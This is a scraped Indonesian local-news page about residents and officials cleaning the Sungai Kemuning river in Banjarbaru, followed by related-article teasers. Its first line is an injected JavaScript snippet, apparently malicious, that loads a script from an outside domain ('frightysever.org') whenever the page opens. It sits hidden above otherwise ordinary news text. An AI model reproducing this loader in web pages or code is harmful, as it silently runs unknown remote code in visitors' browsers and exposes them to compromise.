(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Memasuki musim penghujan, daerah aliran sungai (DAS) Sungai Kemuning mendapat perhatian serius dari Pemerintah Kecamatan Banjarbaru Selatan.
Setelah melakukan audiensi mengenai mitigasi bencana banjir dan sampah, Kecamatan Banjarbaru Selatan langsung melakukan aksi pembersihan sungai dan saluran air menyasar bantaran Sungai Kemuning.
Aksi pembersihan ramai-ramai ini dilakukan warga bersama aparat mulai dari hulu sungai di Kelurahan Sungai Besar, Guntung Paikat, Loktabat Selatan dan Kelurahan Kemuning, Sabtu (30/10/2021).
Baca juga: Gerakan Warga Bervaksin Lewat Warung Mama Cindy
Camat Banjarbaru Selatan,Taufik Purwanto mengatakan bahwa pembersihan sungai ini merupakan inisiatif warga bantaran Sungai Kemuning meminta bersama menjaga fungsi sungai dan antisipasi bencana banjir yang bisa tiba-tiba saja datang.
“Kegiatan ini tidak hanya dilakukan sekali saja, melainkan akan rutin digencarkan sebulan sekali guna menjaga kebersihan dan fungsi sungai agar terhindar dari banjir,” katanya.
Dalam pengawasan, Pemerintah Kecamatan Banjarbaru Selatan akan menunjuk 5-10 orang untuk mengawasi sepanjang bantaran Sungai Kemuning.
“Pengawas nanti akan memonitor, apabila ada yang membuang sampah kesungai akan diberikan teguran dan diberikan edukasi agar sama-sama menjaga sungai agar menumbuhkan jiwa sosial karena dalam perawatan sungai agar tetap pada fungsinya harus melibatkan seluruh warga,” pungkasnya.
Baca juga: Viral di TikTok Istri Polisi Pegang Segepok Uang, Kapolda Sumut: Kebiasaan Pamer
Dari pantauan Kanalkalimantan.com banyak sampah-sampah rumah tangga yang masih menghiasi bantaran Sungai Kemuning sekitar Kelurahan Guntung Paikat. Begitu jua tanaman gulam yang tumbuh liar melengkapi pemandangan permukaan Sungai Kemuning.
Masih ada oknum warga yang membuang sampah sembarangan ke sungai dan ada beberapa titik lokasi yang ditumbuhi rumput liar hingga menutupi dan membuat penyempitan arus Sungai Kemuning
Sementara itu, Aspiani warga RT 10 Kelurahan Guntung mengakui dirinya cukup senang dengan kegiatan pembersihan dan akan terlibat aktif dalam menjaga Sungai Kemuning untuk tetap bersih.
“Walau tidak bisa langsung sekali kerja bersih, kita usahakan untuk membersihkan sampah-sampah yang berserakan di sepanjang Sungai kemuning,”
Baca juga: Polres Banjarbaru Tegaskan Duel Maut di SPBU Liang Anggang Dipicu Miras
Menurut Aspiani, pembersihan ini akan dilakukan seluruh warga bertahap dan berkelanjutan setiap bulannya, sedikit demi sedikit untuk mengurangi jumlah sampah dan tumbuhan yang hidup di sepanjang Sungai Kemuning.(kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
This website uses cookies.